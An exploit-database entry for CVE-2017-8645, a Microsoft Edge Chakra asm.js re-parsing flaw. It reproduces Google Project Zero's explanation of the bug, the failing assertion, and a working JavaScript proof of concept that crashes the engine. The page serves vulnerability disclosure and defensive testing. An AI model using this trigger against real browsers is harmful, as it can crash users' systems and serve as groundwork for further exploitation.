Materialized exploit

CVE-2017-8645

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra - 'InterpreterStackFrame::ProcessLinkFailedAsmJsModule' Incorrectly Re-parses

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code html

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1271

When Chakra fails to link an asmjs module, it tries to re-parse the failed-to-link asmjs function to treat it as a normal javascript function. But it incorrectly handles the case where the function is a class. It starts to parse from the start of the class declaration instead of the constructor. So it may result in binding incorrect information to the constructor. In the PoC, it binds the information of the method "f"("f2" in the latest release version of Edge) to the constructor.

The PoC hits the following assertion in the debug build.
FuncInfo * ByteCodeGenerator::StartBindFunction(const char16 *name, uint nameLength, uint shortNameOffset, bool* pfuncExprWithName, ParseNode *pnode, Js::ParseableFunctionInfo * reuseNestedFunc)
{
    bool funcExprWithName;
    Js::ParseableFunctionInfo* parseableFunctionInfo = nullptr;

    Js::AutoRestoreFunctionInfo autoRestoreFunctionInfo(reuseNestedFunc, reuseNestedFunc ? reuseNestedFunc->GetOriginalEntryPoint() : nullptr);

    if (this->pCurrentFunction &&
        this->pCurrentFunction->IsFunctionParsed())
    {
        Assert(this->pCurrentFunction->StartInDocument() == pnode->ichMin); <<------- here
        ...
    }
    ...
}

"this->pCurrentFunction" is the consturctor, but "pnode" refers to the method "f".


PoC:
-->

class MyClass {
    f(a) {
        print(a);
    }

    constructor() {
        'use asm';
        function f(v) {
            v = v | 0;
            return v | 0;
        }
        return f;
    }

    f2(a) {
        print(a);
    }
}

MyClass(1);